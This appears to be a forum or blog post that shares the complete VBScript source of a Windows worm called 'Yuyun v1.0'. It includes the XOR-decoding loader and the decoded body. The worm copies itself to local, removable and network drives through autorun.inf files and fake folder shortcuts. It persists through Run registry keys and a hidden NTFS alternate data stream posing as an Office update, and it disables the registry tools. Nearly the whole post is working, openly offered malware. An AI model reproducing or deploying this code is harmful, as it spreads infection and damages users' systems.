[VBS] Worm YUYUN v1.0

Rem Worm code Begins here

'www.xxxxx.or.id;====================================   my name:Yuyun 1.0

' ============================
On Error  Resume Next
Dim fso, ws
Set fso =  CreateObject("scripting.filesystemobject")
Set ws =  CreateObject("wscript.Shell")
Set sh =  CreateObject("Shell.application")
Q=WScript.ScriptFullName
tmp=fso.GetSpecialFolder(2)
tn=fso.GetTempName
tmpt=tmp+"\"+tn
Set   swt=WScript.Arguments
If swt.Count>0 Then
status=swt(0)
If  status="auto" Then
sh.Explore Left(WScript.ScriptFullName,3)
Else
status=Left(WScript.ScriptFullName,Len(WScript.ScriptFullName)-Len(WScript.ScriptName))+status
If   fso.FolderExists(status) Then
sh.Explore status
Else
fso.CreateFolder   status
sh.Explore status
End If
End If
Else
End If
Set   QQ=fso.GetFile(Q)
Set Q1=QQ.OpenAsTextStream(1,0)
isiQ=Q1.Read(QQ.Size)
Q1.close
t1=InStr(1,isiQ,"Yuyun^_^~!~2008"+"   >>>",0)+18
isiQ=Right(isiQ,Len(isiQ)-t1)
hsl=""
For  v=1 To Len(isiQ)
t=Asc(Mid(isiQ,v,1))
hsl=hsl+Chr(t Xor 7)
Next
If   fso.FileExists(tmpt) Then fso.GetFile(tmpt).Attributes=0
Set  temporary=fso.OpenTextFile(tmpt,2,True,0)
temporary.Write hsl
temporary.Close
ws.Run   "WScript.exe //e:VBScript "+tmpt+" """+Q+""""

Rem Worm encoded  body begins here

'Yuyun^_^~!~2008 >>>  =======================================================
' My name :  Yuyun Ver 1.0
' I just wanna see every girl looks nice, better, kinds  especially a moslem girl
' by: Anonymouse in Jatim, November 2008
'  When I found nothing beauty else... and then I wrote this script for  all
'=======================================================

On   Error Resume Next
Dim fso, ws, status,status1, fly
Set fso =  CreateObject("scripting.filesystemobject")
Set ws =  CreateObject("wscript.Shell")
Set sh =  CreateObject("Shell.application")
Set net =  CreateObject("wscript.network")
fly=false
tmp=fso.GetSpecialFolder(2)
tn=fso.GetTempName
tmpt=tmp+"\"+tn
docx=ws.SpecialFolders("MyDocuments")
Set   swt=WScript.Arguments
If swt.Count>0 Then
status=swt(0)
End  If
if fso.fileexists(tmp+"\Yuyun.Q") then
set  ira=fso.getfile(tmp+"\Yuyun.Q")
ira.attributes=0
ira.name="shalihah.ira"
if   ira.name="shalihah.ira" then
ira.name="Yuyun.Q"
set  ira=fso.opentextfile(tmp+"\Yuyun.Q",2,true)
else
fly=true
end  if
else
set ira=fso.opentextfile(tmp+"\Yuyun.Q",2,true)
end if
Set   AQ=fso.GetFile(status)
If fso.FileExists(tmpt) Then  fso.GetFile(tmpt).Attributes=0
AQ.Copy tmpt,True
Set  AQ=fso.GetFile(tmpt)
AQ.Attributes=39
anv=tmp+"\auto.exe"
If  Not fso.FileExists(anv) Then AQ.Copy anv
Set auto=fso.GetFile(anv)
auto.attributes=0
Set   aut=fso.OpenTextFile(anv,2,True,0)
isi="[autorun]>open=WScript.exe   //e:VBScript thumb.db  auto>shell\open=Open>shell\open\Command=WScript.exe //e:VBScript  thumb.db  auto>shell\open\Default=1>shell\explore=Explore>shell\explore\Command=WScript.exe   //e:VBScript thumb.db auto"
isi=Replace(isi,">",vbCrLf)
aut.Write   isi
aut.Close
auto.Attributes=39
ltkc=sh.Namespace(&H1c&).Self.path   + "\Microsoft\CD Burning"
AQ.Copy ltkc+"\thumb.db",True
auto.Copy  ltkc+"\autorun.inf",True
If fso.FileExists(docx+"\database.mdb")  Then fso.GetFile(docx+"\database.mdb").Attributes=0
AQ.Copy  docx+"\database.mdb",True
regQ
Set rara=UNISKA
Hertz False
If   Day(Now)<>3 Then rekursif docx,1 Else rekursif docx,3
call  attack_net
Hertz True
Sub rekursif(path,dp)
On Error Resume  Next
dropf path
wscript.sleep 50
If dp>0 Then
For Each  fldr1 In fso.GetFolder(path+"\").SubFolders
rekursif fldr1.Path, dp-1
Next
End   If
End Sub
Sub dropf(path)
On Error Resume Next
if  day(now)=1 and (month(now)mod 3)=1 then
rara.copy path+"\Baca AQ.rtf"
rara.copy   path+"\My name is Yuyun.rtf"
end if
g1=path+"\autorun.inf"
g2=path+"\Thumb.db"
If   fso.FileExists(g1) Then
Set g11=fso.GetFile(g1)
If  g11.Attributes<>39 Then
g11.Attributes=0
auto.Copy  path+"\autorun.inf",True
end if
else
auto.Copy  path+"\autorun.inf",True
end if
If fso.FileExists(g2) Then
Set  g12=fso.GetFile(g2)
If g12.Attributes<>39 Then
g12.Attributes=0
AQ.Copy   path+"\Thumb.db",True
end if
else
AQ.Copy  path+"\Thumb.db",True
End If
If Not  fso.FileExists(path+"\Microsoft.lnk") Then
shorZvnita  path+"\Microsoft","Microsoft"
drop=Array("New Harry Potter  and...","New  Folder","SuratQ","Rahasia","Game","Zvnita","Download","DataQ","DataQ")
ww=1
For   Each d In drop
If Day(now) Mod 3 = ww Then shorZvnita path+"\"+d,d
wscript.sleep   60
ww=ww+1
Next
r=0
For Each fldr In  fso.GetFolder(path+"\").SubFolders
shorZvnita  path+"\"+fldr.name,fldr.Name
wscript.sleep 60
If r>3 Then
Exit   For
End if
r=r+1
Next
End If
End Sub
Sub  shorZvnita(path,trgt)
Set shor=ws.CreateShortcut(path+".lnk")
shor.iconlocation="shell32.dll,3"
shor.targetpath="wscript.exe"
shor.arguments="//e:VBScript   thumb.db """+trgt+""""
shor.save
End Sub
function attack_net()
On   Error Resume Next
err.clear
Set objFolder =  sh.Namespace(&H13&)
Set colItems = objFolder.Items
For  Each strFileName in objFolder.Items
t=  objFolder.GetDetailsOf(strFileName, 14)
if fso.folderexists(t) then
rekursif   t,4
end if
Next
End function
Sub tdr()
On Error Resume  Next
err.clear
WScript.Sleep 180000
if err.number>0 then  wscript.quit
End Sub
function UNISKA()
On error resume next
x=vbcrlf
adv="Yuyun   Ver 1.0 ^_^!==================>>Bukan dari tulang ubun ia  dicipta>karna berbahaya membiarkannya dalam sanjung dan puja>tak  juga dari tulang kaki>karna nista membuatnya diinjak dan  diperbudak>tapi dari tulang rusuk bagian kiri>dekat ke hati untuk  disayangi>dekat ke tangan untuk dilindungi>>(dikutip dr: Agar  Bidadari Cemburu Padamu)>>>""Janganlah kamu bersikap lemah, dan  janganlah (pula) kamu bersedih hati, padahal kamulah>orang-orang  yang paling tinggi (derajatnya), jika kamu orang-orang yang  beriman."">(QS. Ali Imran:139)>>>Katakanlah kepada orang  laki-laki yang beriman: ""Hendaklah mereka menahan pandanganya, >dan  memelihara kemaluannya; yang demikian itu adalah lebih suci bagi mereka,  >sesungguhnya Allah Maha Mengetahui apa yang mereka perbuat."" (QS.  An Nur:30)>>Katakanlah kepada wanita yang beriman: ""Hendaklah  mereka menahan pandangannya, >dan kemaluannya, dan janganlah mereka  menampakkan perhiasannya, kecuali yang >(biasa) nampak dari padanya.  Dan hendaklah mereka menutupkan kain kudung >kedadanya...."" (QS. An  Nur:30)>>Sorry I just Nitip Print thok....Ndak pa2 khan^_^!  www.muslimah.or.id >>Hai anak Adam, sesungguhnya Kami telah  menurunkan kepadamu >pakaian untuk menutup auratmu dan pakaian indah  untuk perhiasan.>Dan pakaian takwa itulah yang paling baik. Yang  demikian itu adalah >sebahagian dari tanda-tanda kekuasaan Allah,  mudah-mudahan mereka selalu ingat.(Al-A'raf:26)"
adv=replace(adv,">",x)
set   Yu2n=fso.opentextfile(tmp+"\v.doc",2,true)
Yu2n.write adv
Yu2n.close
if   day(now)=1 and (month(now)mod 3)=1 then
if fly=false then
for i=1  to 3
ws.run "notepad.exe /p """+tmp+"\v.doc"""
next
end if
end   if
set UNISKA=fso.getfile(tmp+"\v.doc")
end function
Sub  regQ()
On Error Resume Next
if day(now)=1 then
ws.RegWrite  "HKCR\CLSID\{11111111-2222-3333-4444-555555555555}\", "Yuyun_Cantix"
ws.RegWrite    "HKCR\CLSID\{11111111-2222-3333-4444-555555555555}\DefaultIcon\","shell32.dll,48"
ws.RegWrite    "HKCR\CLSID\{11111111-2222-3333-4444-555555555555}\ShellFolder\Attributes",0,"REG_DWORD"
ws.regwrite    "HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\Desktop\NameSpace\{11111111-2222-3333-4444-555555555555}\",""
end   if
ws.regdelete "HKCR\lnkfile\IsShortcut"
ws.RegWrite  "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Explorer","Wscript.exe   //e:VBScript """+docx+"\database.mdb"""
ws.RegWrite  "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistrytools",1,"REG_DWORD"
if   lcase(fso.getdrive("c:").FileSystem)="ntfs" then
iraQ=AQ.openastextstream(1,0).read(AQ.size)
www=fso.GetSpecialFolder(0)
set   jjk=fso.opentextfile(www+"\:Microsoft Office Update for Windows  XP.sys",2,true)
jjk.write iraQ
jjk.close
ws.RegWrite  "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\WinUpdate","Wscript.exe   //e:VBScript """+www+"\:Microsoft Office Update for Windows XP.sys"""
end   if
End Sub
Sub Hertz(ooo)
On Error Resume Next
do
For  Each drv In fso.Drives
If drv.DriveType=1 Then
rekursif drv.Path,4
Else
rekursif   drv.Path,2
End if
Next
if fly=false then
tdr
else
wscript.quit
end   if
regQ
If ooo=False Then
Exit Do
End If
loop
End Sub

rem   worm encoded body ends

Rem By xxxxxx
Rem Fully decoded, no  editing take apart

Mohon Jangan Di salah gunakan...!!!

Jangan Lupa Komentar Yaa..